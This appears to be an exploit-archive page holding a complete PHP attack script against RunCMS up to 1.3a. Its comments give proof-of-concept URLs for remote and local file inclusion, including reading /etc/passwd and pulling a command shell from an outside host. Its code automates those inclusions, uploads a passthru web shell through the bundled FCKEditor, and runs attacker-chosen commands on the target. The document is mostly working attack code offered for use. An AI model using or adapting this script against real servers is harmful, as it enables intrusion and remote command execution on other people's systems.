477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
384 lines
17 KiB
PHP
Executable file
384 lines
17 KiB
PHP
Executable file
<?php
|
|
# ---runcms_13a_xpl.php 17.30 09/02/2006 #
|
|
# #
|
|
# RunCMS <= 1.2 arbitrary remote inclusion exploit #
|
|
# " <= 1.3a shell upload through FCKEditor #
|
|
# coded by rgod #
|
|
# site: http://retrogod.altervista.org #
|
|
# #
|
|
# usage: launch from Apache, fill in requested fields, then go! #
|
|
# #
|
|
# Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
|
|
# come from the other feudal princes. This is simply bringing anarchy into #
|
|
# the army, and flinging victory away." #
|
|
|
|
/* a short explaination:
|
|
|
|
i) on unpatched <=1.2 versions I tested:
|
|
|
|
if register_globals = On & allow_url_fopen = On
|
|
arbitrary remote inclusion in
|
|
modules/newbb_plus/class/class.forumposts.php
|
|
at line 15:
|
|
|
|
...
|
|
include_once ($bbPath['path'].'/include/user_level.php');
|
|
...
|
|
|
|
and in modules/newbb_plus/class/forumpollrenderer.php
|
|
at line 14:
|
|
|
|
...
|
|
include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
|
|
...
|
|
|
|
poc:
|
|
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
|
|
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/
|
|
|
|
where on [somehost] you have:
|
|
|
|
<?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>
|
|
|
|
in http://[somehost]/include/user_level.php/index.html
|
|
and in: http:/[somehost]/language/suntzu/main.php/index.html<br>
|
|
|
|
it seems this vulnerabilties has been patched from 1.3 version
|
|
and old packages <= 1.2 has been uptaded with new patches
|
|
|
|
ii) on unpatched <=1.2:
|
|
if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
|
|
from local resources:
|
|
|
|
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
|
|
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
|
|
http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
|
|
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00
|
|
|
|
iii) on 1.3a version:
|
|
|
|
also, integrated in runCMS we have an old version of FCKEditor
|
|
(see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
|
|
so you can upload files on target machine, .php3 files, .php5 and inc files
|
|
call them directly (iii.a) and if not set as executable files on target machine,
|
|
you can try local inclusion with versions <=1.2 (ii.b)
|
|
|
|
poc:
|
|
(iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
|
|
(ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
|
|
http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
|
|
|
|
*/
|
|
error_reporting(0);
|
|
ini_set("max_execution_time",0);
|
|
ini_set("default_socket_timeout", 5);
|
|
ob_implicit_flush (1);
|
|
|
|
echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
|
|
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
|
|
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
|
|
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
|
|
{background-color: #FFFFFF !important} input {background-color: #303030
|
|
!important} option { background-color: #303030 !important} textarea
|
|
{background-color: #303030 !important} input {color: #1CB081 !important} option
|
|
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
|
|
{background-color: #303030 !important} select {font-weight: normal; color:
|
|
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
|
|
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
|
|
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
|
|
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
|
|
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
|
|
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
|
|
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
|
|
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
|
|
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
|
|
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
|
|
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
|
|
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
|
|
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
|
|
http://retrogod.altervista.org</a></p><table width="84%"> <tr> <td width="43%">
|
|
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
|
|
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
|
|
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
|
|
/runcms/ or just / ) </span></p><p><input type="text" name="CMD"> <span
|
|
class="Stile5"> * specify a command </span></p> <p> <input type="text"
|
|
name="LOCATION"><span class="Stile5">a remote location ( ex: http://www.somesite
|
|
.com, without traling slashes) , if you leave empty STEP 1-2 will be skipped...,
|
|
it works with versions <=1.2 </span></p><p><input type="text" name="port"><span
|
|
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>
|
|
<input type="text" name="proxy"><span class="Stile5">send exploit through an
|
|
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"
|
|
value="go!"></p></form></td></tr></table></body></html>';
|
|
|
|
function show($headeri)
|
|
{
|
|
$ii=0;$ji=0;$ki=0;$ci=0;
|
|
echo '<table border="0"><tr>';
|
|
while ($ii <= strlen($headeri)-1){
|
|
$datai=dechex(ord($headeri[$ii]));
|
|
if ($ji==16) {
|
|
$ji=0;
|
|
$ci++;
|
|
echo "<td> </td>";
|
|
for ($li=0; $li<=15; $li++) {
|
|
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
|
|
}
|
|
$ki=$ki+16;
|
|
echo "</tr><tr>";
|
|
}
|
|
if (strlen($datai)==1) {
|
|
echo "<td>0".htmlentities($datai)."</td>";
|
|
}
|
|
else {
|
|
echo "<td>".htmlentities($datai)."</td> ";
|
|
}
|
|
$ii++;$ji++;
|
|
}
|
|
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
|
|
echo "<td>  </td>";
|
|
}
|
|
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
|
|
echo "<td>".htmlentities($headeri[$li])."</td>";
|
|
}
|
|
echo "</tr></table>";
|
|
}
|
|
|
|
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
|
|
|
|
function sendpacket() //2x speed
|
|
{
|
|
global $proxy, $host, $port, $packet, $html, $proxy_regex;
|
|
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
if ($socket < 0) {
|
|
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
|
|
}
|
|
else {
|
|
$c = preg_match($proxy_regex,$proxy);
|
|
if (!$c) {echo 'Not a valid prozy...';
|
|
die;
|
|
}
|
|
echo "OK.<br>";
|
|
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
|
|
if ($proxy=='') {
|
|
$result = socket_connect($socket, $host, $port);
|
|
}
|
|
else {
|
|
$parts =explode(':',$proxy);
|
|
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
|
|
$result = socket_connect($socket, $parts[0],$parts[1]);
|
|
}
|
|
if ($result < 0) {
|
|
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
|
|
}
|
|
else {
|
|
echo "OK.<br><br>";
|
|
$html= '';
|
|
socket_write($socket, $packet, strlen($packet));
|
|
echo "Reading response:<br>";
|
|
while ($out= socket_read($socket, 2048)) {$html.=$out;}
|
|
echo nl2br(htmlentities($html));
|
|
echo "Closing socket...";
|
|
socket_close($socket);
|
|
}
|
|
}
|
|
}
|
|
|
|
function sendpacketii($packet)
|
|
{
|
|
global $proxy, $host, $port, $html, $proxy_regex;
|
|
if ($proxy=='') {
|
|
$ock=fsockopen(gethostbyname($host),$port);
|
|
if (!$ock) {
|
|
echo 'No response from '.htmlentities($host); die;
|
|
}
|
|
}
|
|
else {
|
|
$c = preg_match($proxy_regex,$proxy);
|
|
if (!$c) {
|
|
echo 'Not a valid proxy...';die;
|
|
}
|
|
$parts=explode(':',$proxy);
|
|
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
|
|
$ock=fsockopen($parts[0],$parts[1]);
|
|
if (!$ock) {
|
|
echo 'No response from proxy...';die;
|
|
}
|
|
}
|
|
fputs($ock,$packet);
|
|
if ($proxy=='') {
|
|
$html='';
|
|
while (!feof($ock)) {
|
|
$html.=fgets($ock);
|
|
}
|
|
}
|
|
else {
|
|
$html='';
|
|
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
|
|
$html.=fread($ock,1);
|
|
}
|
|
}
|
|
fclose($ock);echo nl2br(htmlentities($html));
|
|
}
|
|
function refresh()
|
|
{
|
|
flush();
|
|
ob_flush();
|
|
usleep(100000);
|
|
}
|
|
function make_seed()
|
|
{
|
|
list($usec, $sec) = explode(' ', microtime());
|
|
return (float) $sec + ((float) $usec * 100000);
|
|
}
|
|
|
|
$host=$_POST[host];$path=$_POST[path];
|
|
$port=$_POST[port];$LOCATION=$_POST[LOCATION];
|
|
$CMD=$_POST[CMD];$proxy=$_POST[proxy];
|
|
|
|
echo "<span class=\"Stile5\">";
|
|
|
|
if (($host<>'') and ($path<>'') and ($CMD<>''))
|
|
{
|
|
$port=intval(trim($port));
|
|
if ($port=='') {$port=80;}
|
|
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
|
|
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
|
|
$host=str_replace("\n","",str_replace("\r","",$host));
|
|
$path=str_replace("\n","",str_replace("\r","",$path));
|
|
$CMD=urlencode($CMD);
|
|
|
|
if ($LOCATION<>'')
|
|
{
|
|
# STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php
|
|
$packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
|
|
$packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
|
|
|
|
# STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php
|
|
$packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
|
|
$packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
|
|
//if you are here...
|
|
echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor<br>";
|
|
}
|
|
|
|
|
|
# STEP 3 -> Use FCKEditor to upload malicious code
|
|
$SHELL ="<?php echo chr(72).\"iMaster!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
|
|
$SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
|
|
//we try to guess allowed extensions...
|
|
// you should succeed with .php3
|
|
$extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
|
|
//add what you want
|
|
//'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
|
|
//empty for 2.2
|
|
$upload_command= array('FileUpload','');
|
|
$path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
|
|
//calculate how far we are from site root
|
|
$cc=explode("/",$path);
|
|
$ccc=count($cc)-2;
|
|
$back="";
|
|
for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
|
|
for ($x=0; $x<=count($extensions)-1; $x++)
|
|
{
|
|
for ($y=0; $y<=1; $y++)
|
|
{
|
|
# STEP 3a -> Upload the shell
|
|
srand(make_seed());
|
|
$anumber = rand(1,9999);
|
|
$filename="suntzu".$anumber.$extensions[$x];
|
|
$data="-----------------------------7d529a1d23092a\r\n";
|
|
$data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
|
|
$data.="Content-Type:\r\n\r\n";
|
|
$data.="$SHELL\r\n";
|
|
$data.="-----------------------------7d529a1d23092a--\r\n";
|
|
$packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";
|
|
$packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
|
|
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
|
|
$packet.="User-Agent: Sun-tzu giving you the pain\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Content-Length: ".strlen($data)."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
$packet.=$data;
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (!eregi("200 OK",$html)) {die("Cannot find connector.php...<br>");}
|
|
if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;}
|
|
if (eregi("url=\"",$html))
|
|
{
|
|
$temp=explode("url=\"",$html);
|
|
$temp2=explode("\"",$temp[1]);
|
|
$path_to_shell=$temp2[0];
|
|
}
|
|
echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
|
|
# STEP 3b -> Launch commands...
|
|
#by default a "UserFiles/File/" dir is generated inside site root when you upload
|
|
#files, this dir is not protected by an .htaccess file or whatever
|
|
$packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n";
|
|
$packet.="User-Agent: GoogleBot/1.1\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (eregi("200 OK",$html)){
|
|
if (eregi("HiMaster!",$html))
|
|
{ echo "Exploit succeeded...<br>";
|
|
echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
|
|
echo "we should have phpinfo() here, see html...<br>";
|
|
die;
|
|
}
|
|
else
|
|
{
|
|
echo "Successfully uploaded...<br>
|
|
but is not an executable on target server...<br>
|
|
let's try to include it...<br>
|
|
";
|
|
# STEP 3c
|
|
$packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
|
|
$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
|
|
# STEP 3d
|
|
$packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
|
|
$packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
show($packet);
|
|
sendpacketii($packet);
|
|
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
|
|
}
|
|
}
|
|
refresh();
|
|
}
|
|
}
|
|
//if you are here
|
|
echo "Exploit failed...";
|
|
|
|
}
|
|
else
|
|
{echo "Note: on remote location prepare this code in<br>
|
|
http:/[remote_location]/include/user_level.php/index.html<br>
|
|
and in:<br>
|
|
http:/[remote_location]/language/suntzu/main.php/index.html<br>
|
|
";
|
|
echo nl2br(htmlentities("
|
|
<?php
|
|
ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);die;
|
|
?>
|
|
"));
|
|
echo "<br>Fill * required fields, optionally specify a proxy...";}
|
|
echo "</span>";
|
|
?>
|
|
|
|
# milw0rm.com [2006-02-09]
|